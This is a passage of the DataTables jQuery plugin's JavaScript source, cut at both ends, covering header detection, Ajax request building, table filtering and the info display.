nTr;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tnCell = nCell.nextSibling;\n\t\t\t}\n\t\t}\n\t}\n\t\n\t\n\t/**\n\t * Get an array of unique th elements, one for each column\n\t *  @param {object} oSettings dataTables settings object\n\t *  @param {node} nHeader automatically detect the layout from this node - optional\n\t *  @param {array} aLayout thead/tfoot layout from _fnDetectHeader - optional\n\t *  @returns array {node} aReturn list of unique th's\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnGetUniqueThs ( oSettings, nHeader, aLayout )\n\t{\n\t\tvar aReturn = [];\n\t\tif ( !aLayout )\n\t\t{\n\t\t\taLayout = oSettings.aoHeader;\n\t\t\tif ( nHeader )\n\t\t\t{\n\t\t\t\taLayout = [];\n\t\t\t\t_fnDetectHeader( aLayout, nHeader );\n\t\t\t}\n\t\t}\n\t\n\t\tfor ( var i=0, iLen=aLayout.length ; i<iLen ; i++ )\n\t\t{\n\t\t\tfor ( var j=0, jLen=aLayout[i].length ; j<jLen ; j++ )\n\t\t\t{\n\t\t\t\tif ( aLayout[i][j].unique &&\n\t\t\t\t\t (!aReturn[j] || !oSettings.bSortCellsTop) )\n\t\t\t\t{\n\t\t\t\t\taReturn[j] = aLayout[i][j].cell;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\n\t\treturn aReturn;\n\t}\n\t\n\t\n\t\n\t/**\n\t * Create an Ajax call based on the table's settings, taking into account that\n\t * parameters can have multiple forms, and backwards compatibility.\n\t *\n\t * @param {object} oSettings dataTables settings object\n\t * @param {array} data Data to send to the server, required by\n\t *     DataTables - may be augmented by developer callbacks\n\t * @param {function} fn Callback function to run when data is obtained\n\t */\n\tfunction _fnBuildAjax( oSettings, data, fn )\n\t{\n\t\t// Compatibility with 1.9-, allow fnServerData and event to manipulate\n\t\t_fnCallbackFire( oSettings, 'aoServerParams', 'serverParams', [data] );\n\t\n\t\t// Convert to object based for 1.10+ if using the old scheme\n\t\tif ( data && data.__legacy ) {\n\t\t\tvar tmp = {};\n\t\t\tvar rbracket = /(.*?)\\[\\]$/;\n\t\n\t\t\t$.each( data, function (key, val) {\n\t\t\t\tvar match = val.name.match(rbracket);\n\t\n\t\t\t\tif ( match ) {\n\t\t\t\t\t// Support for arrays\n\t\t\t\t\tvar name = match[0];\n\t\n\t\t\t\t\tif ( ! tmp[ name ] ) {\n\t\t\t\t\t\ttmp[ name ] = [];\n\t\t\t\t\t}\n\t\t\t\t\ttmp[ name ].push( val.value );\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\ttmp[val.name] = val.value;\n\t\t\t\t}\n\t\t\t} );\n\t\t\tdata = tmp;\n\t\t}\n\t\n\t\tvar ajaxData;\n\t\tvar ajax = oSettings.ajax;\n\t\tvar instance = oSettings.oInstance;\n\t\n\t\tif ( $.isPlainObject( ajax ) && ajax.data )\n\t\t{\n\t\t\tajaxData = ajax.data;\n\t\n\t\t\tvar newData = $.isFunction( ajaxData ) ?\n\t\t\t\tajaxData( data ) :  // fn can manipulate data or return an object\n\t\t\t\tajaxData;           // object or array to merge\n\t\n\t\t\t// If the function returned an object, use that alone\n\t\t\tdata = $.isFunction( ajaxData ) && newData ?\n\t\t\t\tnewData :\n\t\t\t\t$.extend( true, data, newData );\n\t\n\t\t\t// Remove the data property as we've resolved it already and don't want\n\t\t\t// jQuery to do it again (it is restored at the end of the function)\n\t\t\tdelete ajax.data;\n\t\t}\n\t\n\t\tvar baseAjax = {\n\t\t\t\"data\": data,\n\t\t\t\"success\": function (json) {\n\t\t\t\tvar error = json.error || json.sError;\n\t\t\t\tif ( error ) {\n\t\t\t\t\toSettings.oApi._fnLog( oSettings, 0, error );\n\t\t\t\t}\n\t\n\t\t\t\toSettings.json = json;\n\t\t\t\t_fnCallbackFire( oSettings, null, 'xhr', [oSettings, json] );\n\t\t\t\tfn( json );\n\t\t\t},\n\t\t\t\"dataType\": \"json\",\n\t\t\t\"cache\": false,\n\t\t\t\"type\": oSettings.sServerMethod,\n\t\t\t\"error\": function (xhr, error, thrown) {\n\t\t\t\tvar log = oSettings.oApi._fnLog;\n\t\n\t\t\t\tif ( error == \"parsererror\" ) {\n\t\t\t\t\tlog( oSettings, 0, 'Invalid JSON response', 1 );\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tlog( oSettings, 0, 'Ajax error', 7 );\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t\n\t\tif ( oSettings.fnServerData )\n\t\t{\n\t\t\t// DataTables 1.9- compatibility\n\t\t\toSettings.fnServerData.call( instance,\n\t\t\t\toSettings.sAjaxSource, data, fn, oSettings\n\t\t\t);\n\t\t}\n\t\telse if ( oSettings.sAjaxSource || typeof ajax === 'string' )\n\t\t{\n\t\t\t// DataTables 1.9- compatibility\n\t\t\toSettings.jqXHR = $.ajax( $.extend( baseAjax, {\n\t\t\t\turl: ajax || oSettings.sAjaxSource\n\t\t\t} ) );\n\t\t}\n\t\telse if ( $.isFunction( ajax ) )\n\t\t{\n\t\t\t// Is a function - let the caller define what needs to be done\n\t\t\toSettings.jqXHR = ajax.call( instance, data, fn, oSettings );\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Object to extend the base settings\n\t\t\toSettings.jqXHR = $.ajax( $.extend( baseAjax, ajax ) );\n\t\n\t\t\t// Restore for next time around\n\t\t\tajax.data = ajaxData;\n\t\t}\n\t}\n\t\n\t\n\t/**\n\t * Update the table using an Ajax call\n\t *  @param {object} oSettings dataTables settings object\n\t *  @returns {boolean} Block the table drawing or not\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnAjaxUpdate( oSettings )\n\t{\n\t\tif ( oSettings.bAjaxDataGet )\n\t\t{\n\t\t\toSettings.iDraw++;\n\t\t\t_fnProcessingDisplay( oSettings, true );\n\t\t\tvar iColumns = oSettings.aoColumns.length;\n\t\t\tvar aoData = _fnAjaxParameters( oSettings );\n\t\n\t\t\t_fnBuildAjax( oSettings, aoData, function(json) {\n\t\t\t\t_fnAjaxUpdateDraw( oSettings, json );\n\t\t\t}, oSettings );\n\t\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t}\n\t\n\t\n\t/**\n\t * Build up the parameters in an object needed for a server-side processing\n\t * request. Note that this is basically done twice, is different ways - a modern\n\t * method which is used by default in DataTables 1.10 which uses objects and\n\t * arrays, or the 1.9- method with is name / value pairs. 1.9 method is used if\n\t * the sAjaxSource option is used in the initialisation, or the legacyAjax\n\t * option is set.\n\t *  @param {object} oSettings dataTables settings object\n\t *  @returns {bool} block the table drawing or not\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnAjaxParameters( settings )\n\t{\n\t\tvar\n\t\t\tcolumns = settings.aoColumns,\n\t\t\tcolumnCount = columns.length,\n\t\t\tfeatures = settings.oFeatures,\n\t\t\tpreSearch = settings.oPreviousSearch,\n\t\t\tpreColSearch = settings.aoPreSearchCols,\n\t\t\ti, data = [], dataProp, column, columnSearch,\n\t\t\tsort = _fnSortFlatten( settings ),\n\t\t\tdisplayStart = settings._iDisplayStart,\n\t\t\tdisplayLength = features.bPaginate !== false ?\n\t\t\t\tsettings._iDisplayLength :\n\t\t\t\t-1;\n\t\n\t\tvar param = function ( name, value ) {\n\t\t\tdata.push( { 'name': name, 'value': value } );\n\t\t};\n\t\n\t\t// DataTables 1.9- compatible method\n\t\tparam( 'sEcho',          settings.iDraw );\n\t\tparam( 'iColumns',       columnCount );\n\t\tparam( 'sColumns',       _pluck( columns, 'sName' ).join(',') );\n\t\tparam( 'iDisplayStart',  displayStart );\n\t\tparam( 'iDisplayLength', displayLength );\n\t\n\t\t// DataTables 1.10+ method\n\t\tvar d = {\n\t\t\tdraw:    settings.iDraw,\n\t\t\tcolumns: [],\n\t\t\torder:   [],\n\t\t\tstart:   displayStart,\n\t\t\tlength:  displayLength,\n\t\t\tsearch:  {\n\t\t\t\tvalue: preSearch.sSearch,\n\t\t\t\tregex: preSearch.bRegex\n\t\t\t}\n\t\t};\n\t\n\t\tfor ( i=0 ; i<columnCount ; i++ ) {\n\t\t\tcolumn = columns[i];\n\t\t\tcolumnSearch = preColSearch[i];\n\t\t\tdataProp = typeof column.mData==\"function\" ? 'function' : column.mData ;\n\t\n\t\t\td.columns.push( {\n\t\t\t\tdata:       dataProp,\n\t\t\t\tname:       column.sName,\n\t\t\t\tsearchable: column.bSearchable,\n\t\t\t\torderable:  column.bSortable,\n\t\t\t\tsearch:     {\n\t\t\t\t\tvalue: columnSearch.sSearch,\n\t\t\t\t\tregex: columnSearch.bRegex\n\t\t\t\t}\n\t\t\t} );\n\t\n\t\t\tparam( \"mDataProp_\"+i, dataProp );\n\t\n\t\t\tif ( features.bFilter ) {\n\t\t\t\tparam( 'sSearch_'+i,     columnSearch.sSearch );\n\t\t\t\tparam( 'bRegex_'+i,      columnSearch.bRegex );\n\t\t\t\tparam( 'bSearchable_'+i, column.bSearchable );\n\t\t\t}\n\t\n\t\t\tif ( features.bSort ) {\n\t\t\t\tparam( 'bSortable_'+i, column.bSortable );\n\t\t\t}\n\t\t}\n\t\n\t\t$.each( sort, function ( i, val ) {\n\t\t\td.order.push( { column: val.col, dir: val.dir } );\n\t\n\t\t\tparam( 'iSortCol_'+i, val.col );\n\t\t\tparam( 'sSortDir_'+i, val.dir );\n\t\t} );\n\t\n\t\tif ( features.bFilter ) {\n\t\t\tparam( 'sSearch', preSearch.sSearch );\n\t\t\tparam( 'bRegex', preSearch.bRegex );\n\t\t}\n\t\n\t\tif ( features.bSort ) {\n\t\t\tparam( 'iSortingCols', sort.length );\n\t\t}\n\t\n\t\tdata.__legacy = true;\n\t\treturn settings.sAjaxSource || DataTable.ext.legacy.ajax ?\n\t\t\tdata : d;\n\t}\n\t\n\t\n\t/**\n\t * Data the data from the server (nuking the old) and redraw the table\n\t *  @param {object} oSettings dataTables settings object\n\t *  @param {object} json json data return from the server.\n\t *  @param {string} json.sEcho Tracking flag for DataTables to match requests\n\t *  @param {int} json.iTotalRecords Number of records in the data set, not accounting for filtering\n\t *  @param {int} json.iTotalDisplayRecords Number of records in the data set, accounting for filtering\n\t *  @param {array} json.aaData The data to display on this page\n\t *  @param {string} [json.sColumns] Column ordering (sName, comma separated)\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnAjaxUpdateDraw ( settings, json )\n\t{\n\t\t// v1.10 uses camelCase variables, while 1.9 uses Hungarian notation.\n\t\t// Support both\n\t\tvar compat = function ( old, modern ) {\n\t\t\treturn json[old] !== undefined ? json[old] : json[modern];\n\t\t};\n\t\n\t\tvar draw            = compat( 'sEcho',                'draw' );\n\t\tvar recordsTotal    = compat( 'iTotalRecords',        'recordsTotal' );\n\t\tvar rocordsFiltered = compat( 'iTotalDisplayRecords', 'recordsFiltered' );\n\t\n\t\tif ( draw ) {\n\t\t\t// Protect against out of sequence returns\n\t\t\tif ( draw*1 < settings.iDraw ) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tsettings.iDraw = draw * 1;\n\t\t}\n\t\n\t\t_fnClearTable( settings );\n\t\tsettings._iRecordsTotal   = parseInt(recordsTotal, 10);\n\t\tsettings._iRecordsDisplay = parseInt(rocordsFiltered, 10);\n\t\n\t\tvar data = _fnAjaxDataSrc( settings, json );\n\t\tfor ( var i=0, ien=data.length ; i<ien ; i++ ) {\n\t\t\t_fnAddData( settings, data[i] );\n\t\t}\n\t\tsettings.aiDisplay = settings.aiDisplayMaster.slice();\n\t\n\t\tsettings.bAjaxDataGet = false;\n\t\t_fnDraw( settings );\n\t\n\t\tif ( ! settings._bInitComplete ) {\n\t\t\t_fnInitComplete( settings, json );\n\t\t}\n\t\n\t\tsettings.bAjaxDataGet = true;\n\t\t_fnProcessingDisplay( settings, false );\n\t}\n\t\n\t\n\t/**\n\t * Get the data from the JSON data source to use for drawing a table. Using\n\t * `_fnGetObjectDataFn` allows the data to be sourced from a property of the\n\t * source object, or from a processing function.\n\t *  @param {object} oSettings dataTables settings object\n\t *  @param  {object} json Data source object / array from the server\n\t *  @return {array} Array of data to use\n\t */\n\tfunction _fnAjaxDataSrc ( oSettings, json )\n\t{\n\t\tvar dataSrc = $.isPlainObject( oSettings.ajax ) && oSettings.ajax.dataSrc !== undefined ?\n\t\t\toSettings.ajax.dataSrc :\n\t\t\toSettings.sAjaxDataProp; // Compatibility with 1.9-.\n\t\n\t\t// Compatibility with 1.9-. In order to read from aaData, check if the\n\t\t// default has been changed, if not, check for aaData\n\t\tif ( dataSrc === 'data' ) {\n\t\t\treturn json.aaData || json[dataSrc];\n\t\t}\n\t\n\t\treturn dataSrc !== \"\" ?\n\t\t\t_fnGetObjectDataFn( dataSrc )( json ) :\n\t\t\tjson;\n\t}\n\t\n\t\n\t/**\n\t * Generate the node required for filtering text\n\t *  @returns {node} Filter control element\n\t *  @param {object} oSettings dataTables settings object\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnFeatureHtmlFilter ( settings )\n\t{\n\t\tvar classes = settings.oClasses;\n\t\tvar tableId = settings.sTableId;\n\t\tvar previousSearch = settings.oPreviousSearch;\n\t\tvar features = settings.aanFeatures;\n\t\tvar input = '<input type=\"search\" class=\"'+classes.sFilterInput+'\"/>';\n\t\n\t\tvar str = settings.oLanguage.sSearch;\n\t\tstr = str.match(/_INPUT_/) ?\n\t\t\tstr.replace('_INPUT_', input) :\n\t\t\tstr+input;\n\t\n\t\tvar filter = $('<div/>', {\n\t\t\t\t'id': ! features.f ? tableId+'_filter' : null,\n\t\t\t\t'class': classes.sFilter\n\t\t\t} )\n\t\t\t.append( $('<label/>' ).append( str ) );\n\t\n\t\tvar jqFilter = $('input[type=\"search\"]', filter)\n\t\t\t.val( previousSearch.sSearch.replace('\"','&quot;') )\n\t\t\t.bind( 'keyup.DT search.DT input.DT paste.DT cut.DT', function(e) {\n\t\t\t\t/* Update all other filter input elements for the new display */\n\t\t\t\tvar n = features.f;\n\t\t\t\tvar val = !this.value ? \"\" : this.value; // mental IE8 fix :-(\n\t\n\t\t\t\t/* Now do the filter */\n\t\t\t\tif ( val != previousSearch.sSearch ) {\n\t\t\t\t\t_fnFilterComplete( settings, {\n\t\t\t\t\t\t\"sSearch\": val,\n\t\t\t\t\t\t\"bRegex\": previousSearch.bRegex,\n\t\t\t\t\t\t\"bSmart\": previousSearch.bSmart ,\n\t\t\t\t\t\t\"bCaseInsensitive\": previousSearch.bCaseInsensitive\n\t\t\t\t\t} );\n\t\n\t\t\t\t\t// Need to redraw, without resorting\n\t\t\t\t\tsettings._iDisplayStart = 0;\n\t\t\t\t\t_fnDraw( settings );\n\t\t\t\t}\n\t\t\t} )\n\t\t\t.bind( 'keypress.DT', function(e) {\n\t\t\t\t/* Prevent form submission */\n\t\t\t\tif ( e.keyCode == 13 ) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t} )\n\t\t\t.attr('aria-controls', tableId);\n\t\n\t\t// Update the input elements whenever the table is filtered\n\t\t$(settings.nTable).on( 'filter.DT', function () {\n\t\t\t// IE9 throws an 'unknown error' if document.activeElement is used\n\t\t\t// inside an iframe or frame...\n\t\t\ttry {\n\t\t\t\tif ( jqFilter[0] !== document.activeElement ) {\n\t\t\t\t\tjqFilter.val( previousSearch.sSearch );\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch ( e ) {}\n\t\t} );\n\t\n\t\treturn filter[0];\n\t}\n\t\n\t\n\t/**\n\t * Filter the table using both the global filter and column based filtering\n\t *  @param {object} oSettings dataTables settings object\n\t *  @param {object} oSearch search information\n\t *  @param {int} [iForce] force a research of the master array (1) or not (undefined or 0)\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnFilterComplete ( oSettings, oInput, iForce )\n\t{\n\t\tvar oPrevSearch = oSettings.oPreviousSearch;\n\t\tvar aoPrevSearch = oSettings.aoPreSearchCols;\n\t\tvar fnSaveFilter = function ( oFilter ) {\n\t\t\t/* Save the filtering values */\n\t\t\toPrevSearch.sSearch = oFilter.sSearch;\n\t\t\toPrevSearch.bRegex = oFilter.bRegex;\n\t\t\toPrevSearch.bSmart = oFilter.bSmart;\n\t\t\toPrevSearch.bCaseInsensitive = oFilter.bCaseInsensitive;\n\t\t};\n\t\n\t\t// Resolve any column types that are unknown due to addition or invalidation\n\t\t// @todo As per sort - can this be moved into an event handler?\n\t\t_fnColumnTypes( oSettings );\n\t\n\t\t/* In server-side processing all filtering is done by the server, so no point hanging around here */\n\t\tif ( _fnDataSource( oSettings ) != 'ssp' )\n\t\t{\n\t\t\t/* Global filter */\n\t\t\t_fnFilter( oSettings, oInput.sSearch, iForce, oInput.bRegex, oInput.bSmart, oInput.bCaseInsensitive );\n\t\t\tfnSaveFilter( oInput );\n\t\n\t\t\t/* Now do the individual column filter */\n\t\t\tfor ( var i=0 ; i<aoPrevSearch.length ; i++ )\n\t\t\t{\n\t\t\t\t_fnFilterColumn( oSettings, aoPrevSearch[i].sSearch, i, aoPrevSearch[i].bRegex,\n\t\t\t\t\taoPrevSearch[i].bSmart, aoPrevSearch[i].bCaseInsensitive );\n\t\t\t}\n\t\n\t\t\t/* Custom filtering */\n\t\t\t_fnFilterCustom( oSettings );\n\t\t}\n\t\telse\n\t\t{\n\t\t\tfnSaveFilter( oInput );\n\t\t}\n\t\n\t\t/* Tell the draw function we have been filtering */\n\t\toSettings.bFiltered = true;\n\t\t_fnCallbackFire( oSettings, null, 'search', [oSettings] );\n\t}\n\t\n\t\n\t/**\n\t * Apply custom filtering functions\n\t *  @param {object} oSettings dataTables settings object\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnFilterCustom( oSettings )\n\t{\n\t\tvar afnFilters = DataTable.ext.search;\n\t\tvar aiFilterColumns = _fnGetColumns( oSettings, 'bSearchable' );\n\t\n\t\tfor ( var i=0, iLen=afnFilters.length ; i<iLen ; i++ )\n\t\t{\n\t\t\tvar iCorrector = 0;\n\t\t\tfor ( var j=0, jLen=oSettings.aiDisplay.length ; j<jLen ; j++ )\n\t\t\t{\n\t\t\t\tvar iDisIndex = oSettings.aiDisplay[j-iCorrector];\n\t\t\t\tvar bTest = afnFilters[i](\n\t\t\t\t\toSettings,\n\t\t\t\t\t_fnGetRowData( oSettings, iDisIndex, 'filter', aiFilterColumns ),\n\t\t\t\t\tiDisIndex\n\t\t\t\t);\n\t\n\t\t\t\t/* Check if we should use this row based on the filtering function */\n\t\t\t\tif ( !bTest )\n\t\t\t\t{\n\t\t\t\t\toSettings.aiDisplay.splice( j-iCorrector, 1 );\n\t\t\t\t\tiCorrector++;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t\n\t\n\t/**\n\t * Filter the table on a per-column basis\n\t *  @param {object} oSettings dataTables settings object\n\t *  @param {string} sInput string to filter on\n\t *  @param {int} iColumn column to filter\n\t *  @param {bool} bRegex treat search string as a regular expression or not\n\t *  @param {bool} bSmart use smart filtering or not\n\t *  @param {bool} bCaseInsensitive Do case insenstive matching or not\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnFilterColumn ( settings, searchStr, colIdx, regex, smart, caseInsensitive )\n\t{\n\t\tif ( searchStr === '' ) {\n\t\t\treturn;\n\t\t}\n\t\n\t\tvar data;\n\t\tvar display = settings.aiDisplay;\n\t\tvar rpSearch = _fnFilterCreateSearch( searchStr, regex, smart, caseInsensitive );\n\t\n\t\tfor ( var i=display.length-1 ; i>=0 ; i-- ) {\n\t\t\tdata = settings.aoData[ display[i] ]._aFilterData[ colIdx ];\n\t\n\t\t\tif ( ! rpSearch.test( data ) ) {\n\t\t\t\tdisplay.splice( i, 1 );\n\t\t\t}\n\t\t}\n\t}\n\t\n\t\n\t/**\n\t * Filter the data table based on user input and draw the table\n\t *  @param {object} settings dataTables settings object\n\t *  @param {string} input string to filter on\n\t *  @param {int} force optional - force a research of the master array (1) or not (undefined or 0)\n\t *  @param {bool} regex treat as a regular expression or not\n\t *  @param {bool} smart perform smart filtering or not\n\t *  @param {bool} caseInsensitive Do case insenstive matching or not\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnFilter( settings, input, force, regex, smart, caseInsensitive )\n\t{\n\t\tvar rpSearch = _fnFilterCreateSearch( input, regex, smart, caseInsensitive );\n\t\tvar prevSearch = settings.oPreviousSearch.sSearch;\n\t\tvar displayMaster = settings.aiDisplayMaster;\n\t\tvar display, invalidated, i;\n\t\n\t\t// Need to take account of custom filtering functions - always filter\n\t\tif ( DataTable.ext.search.length !== 0 ) {\n\t\t\tforce = true;\n\t\t}\n\t\n\t\t// Check if any of the rows were invalidated\n\t\tinvalidated = _fnFilterData( settings );\n\t\n\t\t// If the input is blank - we just want the full data set\n\t\tif ( input.length <= 0 ) {\n\t\t\tsettings.aiDisplay = displayMaster.slice();\n\t\t}\n\t\telse {\n\t\t\t// New search - start from the master array\n\t\t\tif ( invalidated ||\n\t\t\t\t force ||\n\t\t\t\t prevSearch.length > input.length ||\n\t\t\t\t input.indexOf(prevSearch) !== 0 ||\n\t\t\t\t settings.bSorted // On resort, the display master needs to be\n\t\t\t\t                  // re-filtered since indexes will have changed\n\t\t\t) {\n\t\t\t\tsettings.aiDisplay = displayMaster.slice();\n\t\t\t}\n\t\n\t\t\t// Search the display array\n\t\t\tdisplay = settings.aiDisplay;\n\t\n\t\t\tfor ( i=display.length-1 ; i>=0 ; i-- ) {\n\t\t\t\tif ( ! rpSearch.test( settings.aoData[ display[i] ]._sFilterRow ) ) {\n\t\t\t\t\tdisplay.splice( i, 1 );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t\n\t\n\t/**\n\t * Build a regular expression object suitable for searching a table\n\t *  @param {string} sSearch string to search for\n\t *  @param {bool} bRegex treat as a regular expression or not\n\t *  @param {bool} bSmart perform smart filtering or not\n\t *  @param {bool} bCaseInsensitive Do case insensitive matching or not\n\t *  @returns {RegExp} constructed object\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnFilterCreateSearch( sSearch, bRegex, bSmart, bCaseInsensitive )\n\t{\n\t\tvar asSearch,\n\t\t\tsRegExpString = bRegex ? sSearch : _fnEscapeRegex( sSearch );\n\t\n\t\tif ( bSmart )\n\t\t{\n\t\t\t/* Generate the regular expression to use. Something along the lines of:\n\t\t\t * ^(?=.*?\\bone\\b)(?=.*?\\btwo\\b)(?=.*?\\bthree\\b).*$\n\t\t\t */\n\t\t\tasSearch = sRegExpString.split( ' ' );\n\t\t\tsRegExpString = '^(?=.*?'+asSearch.join( ')(?=.*?' )+').*$';\n\t\t}\n\t\n\t\treturn new RegExp( sRegExpString, bCaseInsensitive ? \"i\" : \"\" );\n\t}\n\t\n\t\n\t/**\n\t * scape a string such that it can be used in a regular expression\n\t *  @param {string} sVal string to escape\n\t *  @returns {string} escaped string\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnEscapeRegex ( sVal )\n\t{\n\t\tvar acEscape = [ '/', '.', '*', '+', '?', '|', '(', ')', '[', ']', '{', '}', '\\\\', '$', '^', '-' ];\n\t\tvar reReplace = new RegExp( '(\\\\' + acEscape.join('|\\\\') + ')', 'g' );\n\t\treturn sVal.replace(reReplace, '\\\\$1');\n\t}\n\t\n\t\n\t\n\tvar __filter_div = $('<div>')[0];\n\tvar __filter_div_textContent = __filter_div.textContent !== undefined;\n\t\n\t// Update the filtering data for each row if needed (by invalidation or first run)\n\tfunction _fnFilterData ( settings )\n\t{\n\t\tvar columns = settings.aoColumns;\n\t\tvar column;\n\t\tvar i, j, ien, jen, filterData, cellData, row;\n\t\tvar fomatters = DataTable.ext.type.search;\n\t\tvar wasInvalidated = false;\n\t\n\t\tfor ( i=0, ien=settings.aoData.length ; i<ien ; i++ ) {\n\t\t\trow = settings.aoData[i];\n\t\n\t\t\tif ( ! row._aFilterData ) {\n\t\t\t\tfilterData = [];\n\t\n\t\t\t\tfor ( j=0, jen=columns.length ; j<jen ; j++ ) {\n\t\t\t\t\tcolumn = columns[j];\n\t\n\t\t\t\t\tif ( column.bSearchable ) {\n\t\t\t\t\t\tcellData = _fnGetCellData( settings, i, j, 'filter' );\n\t\n\t\t\t\t\t\tcellData = fomatters[ column.sType ] ?\n\t\t\t\t\t\t\tfomatters[ column.sType ]( cellData ) :\n\t\t\t\t\t\t\tcellData !== null ?\n\t\t\t\t\t\t\t\tcellData :\n\t\t\t\t\t\t\t\t'';\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tcellData = '';\n\t\t\t\t\t}\n\t\n\t\t\t\t\t// If it looks like there is an HTML entity in the string,\n\t\t\t\t\t// attempt to decode it so sorting works as expected. Note that\n\t\t\t\t\t// we could use a single line of jQuery to do this, but the DOM\n\t\t\t\t\t// method used here is much faster http://jsperf.com/html-decode\n\t\t\t\t\tif ( cellData.indexOf && cellData.indexOf('&') !== -1 ) {\n\t\t\t\t\t\t__filter_div.innerHTML = cellData;\n\t\t\t\t\t\tcellData = __filter_div_textContent ?\n\t\t\t\t\t\t\t__filter_div.textContent :\n\t\t\t\t\t\t\t__filter_div.innerText;\n\t\t\t\t\t\tcellData = cellData.replace(/[\\r\\n]/g, '');\n\t\t\t\t\t}\n\t\n\t\t\t\t\tfilterData.push( cellData );\n\t\t\t\t}\n\t\n\t\t\t\trow._aFilterData = filterData;\n\t\t\t\trow._sFilterRow = filterData.join('  ');\n\t\t\t\twasInvalidated = true;\n\t\t\t}\n\t\t}\n\t\n\t\treturn wasInvalidated;\n\t}\n\t\n\t/**\n\t * Generate the node required for the info display\n\t *  @param {object} oSettings dataTables settings object\n\t *  @returns {node} Information element\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnFeatureHtmlInfo ( settings )\n\t{\n\t\tvar\n\t\t\ttid = settings.sTableId,\n\t\t\tnodes = settings.aanFeatures.i,\n\t\t\tn = $('<div/>', {\n\t\t\t\t'class': settings.oClasses.sInfo,\n\t\t\t\t'id': ! nodes ? tid+'_info' : null\n\t\t\t} );\n\t\n\t\tif ( ! nodes ) {\n\t\t\t// Update display on each draw\n\t\t\tsettings.aoDrawCallback.push( {\n\t\t\t\t\"fn\": _fnUpdateInfo,\n\t\t\t\t\"sName\": \"information\"\n\t\t\t} );\n\t\n\t\t\tn\n\t\t\t\t.attr( 'role', 'alert' )\n\t\t\t\t.attr( 'aria-live', 'polite' )\n\t\t\t\t.attr( 'aria-relevant', 'all' );\n\t\n\t\t\t// Table is described by our info div\n\t\t\t$(settings.nTable).attr( 'aria-describedby', tid+'_info' );\n\t\t}\n\t\n\t\treturn n[0];\n\t}\n\t\n\t\n\t/**\n\t * Update the information elements in the display\n\t *  @param {object} settings dataTables settings object\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnUpdateInfo ( settings )\n\t{\n\t\t/* Show information about the table */\n\t\tvar nodes = settings.aanFeatures.i;\n\t\tif ( nodes.length === 0 ) {\n\t\t\treturn;\n\t\t}\n\t\n\t\tvar\n\t\t\tlang  = settings.oLanguage,\n\t\t\tstart = settings._iDisplayStart+1,\n\t\t\tend   = settings.fnDisplayEnd(),\n\t\t\tmax   = settings.fnRecordsTotal(),\n\t\t\ttotal = settings.fnRecordsDisplay(),\n\t\t\tout   = total ?\n\t\t\t\tlang.sInfo :\n\t\t\t\tlang.sInfoEmpty;\n\t\n\t\tif ( total !== max ) {\n\t\t\t/* Record set after filtering */\n\t\t\tout += ' ' + lang.sInfoFiltered;\n\t\t}\n\t\n\t\t// Convert the macros\n\t\tout += lang.sInfoPostFix;\n\t\tout = _fnInfoMacros( settings, out );\n\t\n\t\tvar callback = lang.fnInfoCallback;\n\t\tif ( callback !== null ) {\n\t\t\tout = callback.call( settings.oInstance,\n\t\t\t\tsettings, start, end, max, total, out\n\t\t\t);\n\t\t}\n\t\n\t\t$(nodes).html( out );\n\t}\n\t\n\t\n\tfunction _fnInfoMacros ( settings, str )\n\t{\n\t\t// When infinite scrolling, we are always starting at 1. _iDisplayStart is used only\n\t\t// internally\n\t\tvar\n\t\t\tformatter  = settings.fnFormatNumber,\n\t\t\tstart      = settings._iDisplayStart+1,\n\t\t\tlen        = settings._iDisplayLength,\n\t\t\tvis        = settings.fnRecordsDisplay(),\n\t\t\tall        = len === -1;\n\t\n\t\treturn str.\n\t\t\treplace(/_START_/g, formatter.call( settings, start ) ).\n\t\t\treplace(/_END_/g,   formatter.call( settings, settings.fnDisplayEnd() ) ).\n\t\t\treplace(/_MAX_/g,   formatter.call( settings, settings.fnRecordsTotal() ) ).\n\t\t\treplace(/_TOTAL_/g, formatter.call( settings, vis ) ).\n\t\t\treplace(/_PAGE_/g,  formatter.call( settings, all ? 1 : Math.ceil( start / len ) ) ).\n\t\t\treplace(/_PAGES_/g, formatter.call( settings, all ? 1 : Math.ceil( vis / len ) ) );\n\t}\n\t\n\t\n\t\n\t/**\n\t * Draw the table for the first time, adding all required features\n\t *  @param {object} settings dataTables settings object\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnInitialise ( settings )\n\t{\n\t\tvar i, iLen, iAjaxStart=settings.iInitDisplayStart;\n\t\tvar columns = settings.aoColumns, column;\n\t\tvar features = settings.oFeatures;\n\t\n\t\t/* Ensure that the table data is fully initialised */\n\t\tif ( ! settings.bInitialised ) {\n\t\t\tsetTimeout( function(){ _fnInitialise( settings ); }, 200 );\n\t\t\treturn;\n\t\t}\n\t\n\t\t/* Show the display HTML options */\n\t\t_fnAddOptionsHtml( settings );\n\t\n\t\t/* Build and draw the header / footer for the table */\n\t\t_fnBuildHead( settings );\n\t\t_fnDrawHead( settings, settings.aoHeader );\n\t\t_fnDrawHead( settings, settings.aoFooter );\n\t\n\t\t/* Okay to show that something is going on now */\n\t\t_fnProcessingDisplay( settings, true );\n\t\n\t\t/* Calculate sizes for 